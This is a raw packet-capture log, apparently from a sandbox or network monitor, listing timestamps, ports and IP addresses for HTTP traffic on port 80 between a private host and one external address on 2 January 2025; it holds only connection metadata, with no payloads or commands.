Jan 2, 2025 19:14:18.249844074 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.249847889 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.249862909 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.249867916 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.249911070 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.249959946 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.250294924 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.250359058 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.250365973 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.250379086 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.250385046 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.250391006 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.250405073 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.250431061 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.250461102 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.252032042 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.252038956 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.252044916 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.252051115 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.252062082 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.252089024 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.252091885 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.252099037 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.252120972 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.252192974 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.252218008 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.252309084 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.252351046 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.252366066 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.252371073 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.252377987 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.252384901 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.252424002 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.252580881 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.252585888 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.252597094 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.252604961 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.252618074 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.252795935 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.252803087 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.252855062 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.252862930 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.252866983 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.252871037 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.252877951 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.252890110 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.252897024 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.252928019 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.253019094 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.253025055 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.253031969 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.253032923 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.253037930 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.253062010 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.253068924 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.253074884 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.253082037 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.253086090 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.253109932 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.253109932 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.253211975 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.253242016 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.253248930 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.253262997 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.253268003 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.253273964 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.253279924 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.253290892 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.253345013 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.253376007 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.253480911 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.253488064 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.253494024 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.253499985 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.253504992 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.253510952 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.253518105 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.253530979 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.253556013 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.253580093 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.253580093 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.253660917 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.253667116 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.253679037 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.253707886 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.253714085 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.253725052 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.253731012 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.253747940 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.253788948 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.253789902 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.253823042 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.253829956 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.253835917 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.253842115 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.253993034 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.253999949 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.254005909 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.254024982 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.254098892 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.254105091 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.254117012 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.254122019 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.254128933 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.254132986 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.254134893 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.254143000 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.254149914 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.254151106 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.254158020 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.254163980 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.254163980 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.254170895 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.254604101 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.259968996 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.260138035 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.260153055 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.260159016 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.260169029 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.260174990 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.260180950 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.260185957 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.260186911 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.260193110 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.260200977 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.260209084 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.260210991 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.260214090 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.260221004 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.260241032 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.260286093 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.260286093 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.277573109 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.277580976 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.277587891 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.277592897 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.277599096 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.277605057 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.277611971 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.277616978 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.277688980 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.277771950 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.277777910 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.277784109 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.277797937 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.277823925 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.277829885 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.277836084 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.277841091 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.277868032 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.277874947 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.277880907 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.277939081 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.277939081 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.278340101 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.278346062 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.278357983 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.278408051 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.278417110 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.278521061 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.278527975 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.278533936 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.278563023 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.278620958 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.278626919 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.278637886 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.278642893 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.278649092 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.278652906 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.278655052 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.278666019 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.278671980 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.278676033 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.278677940 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.278723001 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.278723001 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.279037952 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279043913 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279050112 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279109955 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279115915 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279128075 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279143095 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279145956 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.279150009 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279155970 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279160976 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279165983 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279166937 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.279171944 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279177904 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279191017 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279201984 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.279236078 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.279236078 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.279243946 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279259920 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279266119 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279274940 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279328108 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.279355049 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279361010 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279366016 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279376984 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279383898 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279392958 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279395103 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.279398918 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279405117 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279407024 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.279409885 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279416084 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279450893 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.279460907 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279470921 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279476881 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279484987 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279486895 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.279527903 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.279557943 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.279567957 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279572964 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279578924 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279584885 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279588938 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279593945 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279606104 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279609919 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279622078 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279627085 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279630899 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.279630899 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.279632092 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279639006 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279659033 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.279659986 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279694080 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.279720068 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279723883 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279730082 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279736042 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279761076 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279767036 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279772997 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279777050 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279778957 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.279783964 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279807091 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.279831886 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.279831886 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.279845953 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279866934 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279922009 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279927969 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279939890 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.279949903 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.280023098 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.280034065 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.280040026 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.280049086 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.280052900 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.280059099 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.280065060 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.280076027 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.280091047 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.280097961 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.280116081 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.280122042 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.280128956 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.280137062 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.280153990 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.280155897 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.280162096 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.280174017 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.280196905 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.280208111 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.280231953 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.280249119 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.280255079 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.280267000 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.280375957 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.280375957 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.280407906 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.280412912 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.280422926 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.280468941 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.280474901 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.280499935 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.280520916 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.280524015 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.280548096 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.280553102 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.280590057 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.280590057 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.280601978 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.280605078 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.280606985 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.280613899 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.280631065 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.280635118 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.280663967 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.280677080 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.280683041 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.280699015 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.280738115 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.280935049 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.281311989 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.281317949 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.281331062 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.281383038 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.281388998 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.281404972 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.281410933 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.281416893 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.281428099 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.281443119 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.281460047 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.281497955 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.281506062 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.281512022 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.281574965 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.281582117 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.281604052 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.281613111 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.281635046 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.281637907 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.281641006 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.281712055 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.281716108 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.281722069 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.281728029 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.281733990 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.281737089 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.281769037 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.281796932 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.281802893 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.281816006 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.281821966 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.281851053 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.281924009 CET	80	49726	147.45.44.131	192.168.2.6
